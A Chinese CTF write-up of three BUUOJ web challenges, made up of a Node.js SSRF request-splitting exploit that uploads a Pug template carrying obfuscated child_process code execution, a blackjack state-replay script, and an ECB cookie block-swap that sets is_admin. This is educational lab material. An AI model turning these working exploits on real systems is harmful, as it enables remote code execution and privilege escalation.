打开后给了源码和一个文件上传的页面,查看源码猜测这里可以利用
这里的action参数是我们可控的,结合文件上传界面,猜测是要想办法实现目录穿越,传文件到/template目录下之后利用pug.renderFile函数拿到flag。
尝试上传后发现没有上传成功,查看别人的wp发现在上传界面看到ip必须得是127.0.0.1才能进行上传
需要文件名和mimetype进行了拼接,所以目录穿越可以利用mimitype,需要进行ssrf攻击
参考文章:通过拆分攻击实现的SSRF攻击
查看wp的exp:
import requests
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt
{}""".replace('\n', '\r\n')
body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--
""".replace('\n', '\r\n')
payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'
requests.get(
'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)
print(requests.get(
'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)
打开是一个打牌的界面,玩一会发现每次请求都会有一个SecretState参数
访问/api可以得到一个 SecretState 这个是当前余额的一个哈希码
访问/api/deal可以进行**,但是只要我们的 state 不会变,我们的余额就不会变,当我们的应答包含 BlackJack 的时候,我们的余额会增加,然后我们就可以获取它的 SerectState 进行下一次**,这样就可以一直赢了
通过脚本等到符合要求就行
import requests
start = "http://e55998dd-c347-4c45-b0c8-dc9ede19d51e.node3.buuoj.cn/api"
deal = start + "/deal"
# 开局
state = requests.post(start).json()["SecretState"]
while True:
# 下注
try:
resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
except:
continue
if resp['GameState'] == 'Blackjack':
state = resp['SecretState']
print(resp['Balance'])
if resp['Balance'] > 100000:
print(resp)
break
参考文章:https://blog.csdn.net/solitudi/article/details/109186061
打开页面发现一个登陆界面,并且提示需要提升权限,并且提到了cookie,输入框中还有不能输入的is_admin属性
先需要修改前端,使其值等于1:
<input type="text" class="name" disabled="1" value="1">
先在两个输入框内随便输入点
提示了需要以admin身份登陆,并将is_admin设置为1,使用BurpSuite抓取数据包:回显后得到
其存在Set-Cookie字样,将回显页面刷新,重新抓取数据包:
得到cookie,到这里没有思路,查看wp提示和rack.session无关,所以尝试修改user的前三位为111,查看回显:得到报错信息
成功得到报错内容,因为改动了开头,所以只有后半部分是完整的,相同方式获取前面的内容,也就是修改偏后方的三位为111,得到回显:
完整的user解密为:
{"first_name":"first","last_name":"last","is_admin":0}
资料:图解分组密码五大工作模式
本题也就是每块内容被分成固定的大小块单独加密,推测为ECB模式,若是CBC模式,修改前面内容,后面内容会变成乱码。
ECB加密是16位一组,每组相互独立,加密后每组为32位,尝试整块替换,并且在json中1.00 == 1
首先构造被加密的字符串:
{"first_name":"A1.00000000000000","last_name":"last","is_admin":0}
可以将字符串拆分为5组,也就是:
# 第一组
{"first_name":"A
# 第二组
1.00000000000000
# 第三组
","last_name":"l
# 第四组
ast","is_admin":
# 第五组
0}
将加密后的第二组放到第四组的后面,构成:
"is_admin":1.00000000000000
完成了构造,那么就需要加密后的cookie,因为没有加密所需的key,所以通过原页面完成,构造登陆内容:
first name = A1.00000000000000
last name = last
提交表单后,获取到user的值:
74c0ce06bfb88e1be671477ae6f7a18f912e06d0868ba525da7fd1b2ea6b5d1248fefd55ed98c8f04f1d05178c4a0d31cb55adae3e1c97a471c0b2000cd1342d0d08f283e74a520be28759ad0fa173f7
前四组不用动,也就是到128前,将32到64位作为第二组内容取出,并拼接至第四组后,使用Python3:
s = "74c0ce06bfb88e1be671477ae6f7a18f912e06d0868ba525da7fd1b2ea6b5d1248fefd55ed98c8f04f1d05178c4a0d31cb55adae3e1c97a471c0b2000cd1342d0d08f283e74a520be28759ad0fa173f7"
res = s[:128] + s[32:64] + s[128:]
print(res)
得到构造好的payload:
74c0ce06bfb88e1be671477ae6f7a18f912e06d0868ba525da7fd1b2ea6b5d1248fefd55ed98c8f04f1d05178c4a0d31cb55adae3e1c97a471c0b2000cd1342d912e06d0868ba525da7fd1b2ea6b5d120d08f283e74a520be28759ad0fa173f7
将其替换到user中得到flag